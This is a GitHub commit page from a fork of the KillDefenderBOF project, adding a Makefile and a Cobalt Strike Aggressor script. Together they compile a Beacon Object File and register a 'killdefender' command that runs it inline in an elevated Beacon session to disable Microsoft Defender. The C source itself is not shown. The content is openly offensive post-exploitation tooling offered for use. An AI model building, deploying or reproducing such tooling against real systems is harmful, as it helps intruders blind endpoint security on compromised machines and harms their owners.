forked from Cerbersec/KillDefenderBOF
-
Notifications
You must be signed in to change notification settings - Fork 1
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
R
authored and
R
committed
Feb 7, 2022
1 parent
9c8f422
commit 7ed865f
Showing
3 changed files
with
64 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,24 @@ | ||
# | ||
# Beacon Object File ( BOF ) Compiler | ||
# | ||
# Used to create object files that are | ||
# compatible with Beacon's inline-execute | ||
# command. | ||
# | ||
|
||
BOFNAME := killdefender | ||
CC_x64 := x86_64-w64-mingw32-gcc | ||
LD_x64 := x86_64-w64-mingw32-ld | ||
STRx64 := x86_64-w64-mingw32-strip | ||
CC_x86 := i686-w64-mingw32-gcc | ||
LD_x86 := i686-w64-mingw32-ld | ||
STRx86 := i686-w64-mingw32-strip | ||
|
||
|
||
all: | ||
$(CC_x64) -o $(BOFNAME).x64.o -c KillDefender.c -masm=intel -Wno-multichar | ||
$(CC_x86) -o $(BOFNAME).x86.o -c KillDefender.c -masm=intel -Wno-multichar | ||
|
||
clean: | ||
rm -rf $(BOFNAME).x64.o $(BOFNAME).x86.o | ||
rm -rf *.o |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,39 @@ | ||
beacon_command_register("killdefender", "kill defender", "Example: killdefender"); | ||
|
||
alias killdefender { | ||
$barch = barch($1); | ||
# read in the BOF file | ||
$handle = openf(script_resource("killdefender" . $barch . ".o")); | ||
$data = readb($handle, -1); | ||
closef($handle); | ||
|
||
# you didn't compile BOF :( | ||
if(strlen($data) == 0) | ||
{ | ||
berror($1, "could not read bof file"); | ||
return; | ||
} | ||
|
||
if ((-isadmin $1)) | ||
{ | ||
# announce what we're doing | ||
btask($1, "Hold on to your butts! Killing Defender!"); | ||
|
||
if (-is64 $1) | ||
{ | ||
# spawn a Beacon post-ex job with the exploit DLL | ||
beacon_inline_execute($1, $data, "go", $null); | ||
} | ||
else | ||
{ | ||
# spawn a Beacon post-ex job with the exploit DLL | ||
beacon_inline_execute($1, $data, "go", $null); | ||
} | ||
|
||
} else | ||
{ | ||
berror($1, "We require an elevated session (admin)"); | ||
} | ||
|
||
|
||
} |